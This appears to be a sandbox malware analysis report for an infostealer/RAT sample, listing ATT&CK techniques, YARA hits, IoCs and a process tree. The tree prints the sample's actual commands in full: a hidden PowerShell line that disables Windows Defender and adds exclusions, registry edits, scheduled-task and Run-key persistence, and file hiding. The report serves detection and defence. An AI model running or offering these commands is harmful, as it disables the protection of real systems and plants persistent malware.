skuld | 980641cee92739eb6a004e78e23c3588e67909ad7b0c5853834420114001083c

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 8 IoCs

defense_evasion trojan

Modify Registry

Windows Service

persistence privilege_escalation

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c520-29.dat	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables Discord URL observed in first stage droppers 1 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c520-29.dat	INDICATOR_SUSPICIOUS_EXE_DiscordURL

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c520-29.dat	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

Detects executables containing URLs to raw contents of a Github gist 1 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c520-29.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

Detects executables containing possible sandbox system UUIDs 1 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c520-29.dat	INDICATOR_SUSPICIOUS_EXE_SandboxSystemUUIDs

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c520-29.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Detects executables referencing virtualization MAC addresses 1 IoCs

resource	yara_rule
behavioral2/files/0x000e00000001c520-29.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5144	powershell.exe
3060	powershell.exe
5144	powershell.exe
3060	powershell.exe

Creates a file in the Startup directory 1 TTPs 4 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aef5073c.vbs	2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aef5073c.vbs	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e0835c48.vbs	aef5073c.sys
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e0835c48.vbs	attrib.exe

Executes dropped EXE 5 IoCs

pid	Process
4896	SecurityHealthSystray.exe
2092	aef5073c.sys
4132	aef5073c.sys
4832	e0835c48.sys
2400	e0835c48.sys

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\aef5073c = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\aef5073c.sys"	2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\aef5073c2 = "C:\\ProgramData\\Microsoft\\Windows\\aef5073c.sys"	2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\e0835c48 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\e0835c48.sys"	aef5073c.sys
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\e0835c482 = "C:\\ProgramData\\Microsoft\\Windows\\e0835c48.sys"	aef5073c.sys
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe

Looks up external IP address via web service 1 TTPs 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
1	ip-api.com
7	api.ipify.org
11	api.ipify.org

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	17	Go-http-client/1.1

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5124	schtasks.exe
5796	schtasks.exe
2560	schtasks.exe
4924	schtasks.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
5144	powershell.exe
5144	powershell.exe
5172	wmic.exe
5172	wmic.exe
5172	wmic.exe
5172	wmic.exe
3060	powershell.exe
3060	powershell.exe
3060	powershell.exe
5676	wmic.exe
5676	wmic.exe
5676	wmic.exe
5676	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3380	2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
Token: SeDebugPrivilege	5144	powershell.exe
Token: SeIncreaseQuotaPrivilege	5144	powershell.exe
Token: SeSecurityPrivilege	5144	powershell.exe
Token: SeTakeOwnershipPrivilege	5144	powershell.exe
Token: SeLoadDriverPrivilege	5144	powershell.exe
Token: SeSystemProfilePrivilege	5144	powershell.exe
Token: SeSystemtimePrivilege	5144	powershell.exe
Token: SeProfSingleProcessPrivilege	5144	powershell.exe
Token: SeIncBasePriorityPrivilege	5144	powershell.exe
Token: SeCreatePagefilePrivilege	5144	powershell.exe
Token: SeBackupPrivilege	5144	powershell.exe
Token: SeRestorePrivilege	5144	powershell.exe
Token: SeShutdownPrivilege	5144	powershell.exe
Token: SeDebugPrivilege	5144	powershell.exe
Token: SeSystemEnvironmentPrivilege	5144	powershell.exe
Token: SeRemoteShutdownPrivilege	5144	powershell.exe
Token: SeUndockPrivilege	5144	powershell.exe
Token: SeManageVolumePrivilege	5144	powershell.exe
Token: 33	5144	powershell.exe
Token: 34	5144	powershell.exe
Token: 35	5144	powershell.exe
Token: 36	5144	powershell.exe
Token: SeIncreaseQuotaPrivilege	5144	powershell.exe
Token: SeSecurityPrivilege	5144	powershell.exe
Token: SeTakeOwnershipPrivilege	5144	powershell.exe
Token: SeLoadDriverPrivilege	5144	powershell.exe
Token: SeSystemProfilePrivilege	5144	powershell.exe
Token: SeSystemtimePrivilege	5144	powershell.exe
Token: SeProfSingleProcessPrivilege	5144	powershell.exe
Token: SeIncBasePriorityPrivilege	5144	powershell.exe
Token: SeCreatePagefilePrivilege	5144	powershell.exe
Token: SeBackupPrivilege	5144	powershell.exe
Token: SeRestorePrivilege	5144	powershell.exe
Token: SeShutdownPrivilege	5144	powershell.exe
Token: SeDebugPrivilege	5144	powershell.exe
Token: SeSystemEnvironmentPrivilege	5144	powershell.exe
Token: SeRemoteShutdownPrivilege	5144	powershell.exe
Token: SeUndockPrivilege	5144	powershell.exe
Token: SeManageVolumePrivilege	5144	powershell.exe
Token: 33	5144	powershell.exe
Token: 34	5144	powershell.exe
Token: 35	5144	powershell.exe
Token: 36	5144	powershell.exe
Token: SeIncreaseQuotaPrivilege	5172	wmic.exe
Token: SeSecurityPrivilege	5172	wmic.exe
Token: SeTakeOwnershipPrivilege	5172	wmic.exe
Token: SeLoadDriverPrivilege	5172	wmic.exe
Token: SeSystemProfilePrivilege	5172	wmic.exe
Token: SeSystemtimePrivilege	5172	wmic.exe
Token: SeProfSingleProcessPrivilege	5172	wmic.exe
Token: SeIncBasePriorityPrivilege	5172	wmic.exe
Token: SeCreatePagefilePrivilege	5172	wmic.exe
Token: SeBackupPrivilege	5172	wmic.exe
Token: SeRestorePrivilege	5172	wmic.exe
Token: SeShutdownPrivilege	5172	wmic.exe
Token: SeDebugPrivilege	5172	wmic.exe
Token: SeSystemEnvironmentPrivilege	5172	wmic.exe
Token: SeRemoteShutdownPrivilege	5172	wmic.exe
Token: SeUndockPrivilege	5172	wmic.exe
Token: SeManageVolumePrivilege	5172	wmic.exe
Token: 33	5172	wmic.exe
Token: 34	5172	wmic.exe
Token: 35	5172	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3380 wrote to memory of 5144	3380	2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	90
PID 5144 wrote to memory of 1804	5144	powershell.exe	93
PID 5144 wrote to memory of 4492	5144	powershell.exe	94
PID 5144 wrote to memory of 3912	5144	powershell.exe	95
PID 3380 wrote to memory of 5684	3380	2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	96
PID 3380 wrote to memory of 912	3380	2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	98
PID 3380 wrote to memory of 5172	3380	2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	100
PID 3380 wrote to memory of 3668	3380	2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	104
PID 3380 wrote to memory of 792	3380	2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	106
PID 3380 wrote to memory of 5796	3380	2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	108
PID 3380 wrote to memory of 2560	3380	2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	110
PID 3380 wrote to memory of 2448	3380	2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	112
PID 3380 wrote to memory of 2092	3380	2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe	114
PID 2092 wrote to memory of 3060	2092	aef5073c.sys	115
PID 3060 wrote to memory of 4940	3060	powershell.exe	119
PID 3060 wrote to memory of 4340	3060	powershell.exe	120
PID 3060 wrote to memory of 3368	3060	powershell.exe	121
PID 2092 wrote to memory of 3536	2092	aef5073c.sys	122
PID 2092 wrote to memory of 1376	2092	aef5073c.sys	124
PID 2092 wrote to memory of 4924	2092	aef5073c.sys	126
PID 2092 wrote to memory of 5124	2092	aef5073c.sys	128
PID 2092 wrote to memory of 5076	2092	aef5073c.sys	130
PID 2092 wrote to memory of 4084	2092	aef5073c.sys	132
PID 2092 wrote to memory of 5676	2092	aef5073c.sys	138

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 9 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5684	attrib.exe
2448	attrib.exe
912	attrib.exe
3668	attrib.exe
792	attrib.exe
3536	attrib.exe
1376	attrib.exe
5076	attrib.exe
4084	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "$p='C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe'; Add-MpPreference -ExclusionPath $p -ExclusionProcess $p; Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1 -DisableScriptScanning 1 -SubmitSamplesConsent 2 -MAPSReporting 0; reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\" /v DisableAntiSpyware /t REG_DWORD /d 1 /f; reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f; reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5144
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:1804
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4492
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3912
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\2026-08-25_a81afaa0e83589ca06d7701d80ba3570_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
  2⤵
  - Views/modifies file attributes
  PID:5684
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:912
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5172
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\aef5073c.sys
  2⤵
  - Views/modifies file attributes
  PID:3668
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\ProgramData\Microsoft\Windows\aef5073c.sys
  2⤵
  - Views/modifies file attributes
  PID:792
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn aef5073c /tr C:\Users\Admin\AppData\Roaming\Microsoft\Protect\aef5073c.sys /sc onlogon /rl highest /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5796
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn aef5073c2 /tr C:\ProgramData\Microsoft\Windows\aef5073c.sys /sc onstart /rl highest /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2560
- C:\Windows\system32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aef5073c.vbs"
  2⤵
  - Creates a file in the Startup directory
  - Views/modifies file attributes
  PID:2448
- C:\Users\Admin\AppData\Roaming\Microsoft\Protect\aef5073c.sys
  C:\Users\Admin\AppData\Roaming\Microsoft\Protect\aef5073c.sys
  2⤵
  - Creates a file in the Startup directory
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "$p='C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\aef5073c.sys'; Add-MpPreference -ExclusionPath $p -ExclusionProcess $p; Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1 -DisableScriptScanning 1 -SubmitSamplesConsent 2 -MAPSReporting 0; reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\" /v DisableAntiSpyware /t REG_DWORD /d 1 /f; reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f; reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3060
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      PID:4940
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:4340
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:3368
- - C:\Windows\system32\attrib.exe
    attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\aef5073c.sys
    3⤵
    - Views/modifies file attributes
    PID:3536
- - C:\Windows\system32\attrib.exe
    attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\e0835c48.sys
    3⤵
    - Views/modifies file attributes
    PID:1376
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn e0835c48 /tr C:\Users\Admin\AppData\Roaming\Microsoft\Protect\e0835c48.sys /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4924
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn e0835c482 /tr C:\ProgramData\Microsoft\Windows\e0835c48.sys /sc onstart /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5124
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e0835c48.vbs"
    3⤵
    - Creates a file in the Startup directory
    - Views/modifies file attributes
    PID:5076
- - C:\Windows\system32\attrib.exe
    attrib +h +s C:\ProgramData\Microsoft\Windows\e0835c48.sys
    3⤵
    - Views/modifies file attributes
    PID:4084
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5676

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
1⤵
- Executes dropped EXE
PID:4896

C:\ProgramData\Microsoft\Windows\aef5073c.sys
C:\ProgramData\Microsoft\Windows\aef5073c.sys
1⤵
- Executes dropped EXE
PID:4132

C:\ProgramData\Microsoft\Windows\e0835c48.sys
C:\ProgramData\Microsoft\Windows\e0835c48.sys
1⤵
- Executes dropped EXE
PID:4832

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\e0835c48.sys
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\e0835c48.sys
1⤵
- Executes dropped EXE
PID:2400

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry